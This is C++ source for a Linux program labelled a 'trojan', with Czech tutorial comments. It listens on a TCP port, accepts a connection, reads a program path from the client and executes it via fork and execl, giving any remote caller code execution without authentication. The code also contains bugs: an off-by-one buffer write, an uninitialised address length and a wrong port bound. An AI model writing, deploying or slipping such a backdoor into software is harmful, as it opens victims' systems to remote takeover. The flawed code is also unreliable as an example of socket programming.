/*

  trojan - klasicky TCP server - linux verze 
  2006 (L) cZokL, mr [dot] czokl [at] gmail [dot] com

  
*/

#include <iostream>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <signal.h>

#define BUFSIZE 1024

using namespace std ;

int main(int argc, char *argv[] ) {

  if( argc != 2 ) {
  
    cerr << "Chybny pocet argumentu" << endl ;    
    exit(-1) ;
      
  }
  
  int port = atoi(argv[1]) ;
  
  if ( port < 1 || port > 65536 ) {
  
    cerr << "Cislo portu neni ve stanovenem rozsahu" << endl ; 
    exit(-1) ;
  }
   
  //naplneni struktury SOCKADDR_IN

  sockaddr_in service ;

  service.sin_family = AF_INET ;
  service.sin_addr.s_addr = INADDR_ANY ;
  service.sin_port = htons(port) ;

  //vytvoreni socketu

  int sock ;

  if( (sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {

    cerr << "Nepovedlo se vytvorit socket" << endl ;

    exit(-1);

  }

  if (bind( sock, (sockaddr*) &service, sizeof(service)) == -1) {

    cerr << "Chyba pri spusteni bind() " << endl ;

    close(sock);
   
    exit(-1);
  }

  /*
    
    Tady zacinaji rozdily mezi TCP a UDP
    
  */

  /*
  
    tato funkce nastavi soket do stavu naslouchani 
    prvni param je snad jasny ten druhy urcuje max.
    pocet klientu ktere se maji prijmout, standartne se
    voli 10, ale toto cislo pak zalezi na vlastnim 
    uvazeni a na tom jaky druh serveru stojite, pro nasi
    aplikaci by klidne mohlo stacit cislo 1 
     
  
  */
  
  if (listen( sock, 10 ) == -1) {

    cerr << "Chyba pri naslouchani" << endl ;

    close(sock) ;

    exit(-1) ;

  }


  /*
  
  prijmeme spojeni - daloby se rict ze fce accept je parova k fci connect 
  pres tyto dve fce se navaze tcp spojeni 
  funkce vrati novy socket dekriptor pres ktery budeme dal komunikovat s
  klientem
   
  
  */

  
  int cli_sock; 
  socklen_t addrlen ;
  
  if( (cli_sock = accept(sock, (sockaddr*) &service, &addrlen)) ==  -1 ) {
   
    cerr << "nelze prijmout spojeni" << endl ;
    close(sock) ;
    close(cli_sock) ;  
       
    exit(-1) ;
    
  }   

  /*
  
  puvodni soket deskriptor uz nepotrebujeme - zavreme ho
  
  */


  close(sock) ;

  char data[BUFSIZE] ;  
  int size ;
  if ((size = recv(cli_sock, data, BUFSIZE, 0)) == -1) {

    cerr << "nepovedlo se prijmout data" << endl ;

    close(cli_sock) ;

    exit(-1) ;

  }

  data[size] = '\0' ;
  
  
  /* provedeme prikaz */

  
  signal(SIGCHLD, SIG_IGN) ; 
 
  pid_t PID ;


  if ((PID = fork()) == -1) {
    cerr << "fork() selhal" << endl ;
    exit(-1) ;
  }
  else if ( PID > 0 ) {

    string result = "program byl spusten\n" ;
    
    if(send(cli_sock,result.c_str(), result.size(), 0) == -1) {
   
      cerr << "nelze odeslat data" << endl ;
      close(cli_sock) ;
    
      exit(-1) ;    
    }    

    //uzavreni socketu 
    close(sock) ;
    
    exit (0) ;

  }  
  
  execl(data, data, 0) ; 

  close(cli_sock) ;
  
  
  return 0 ;

}
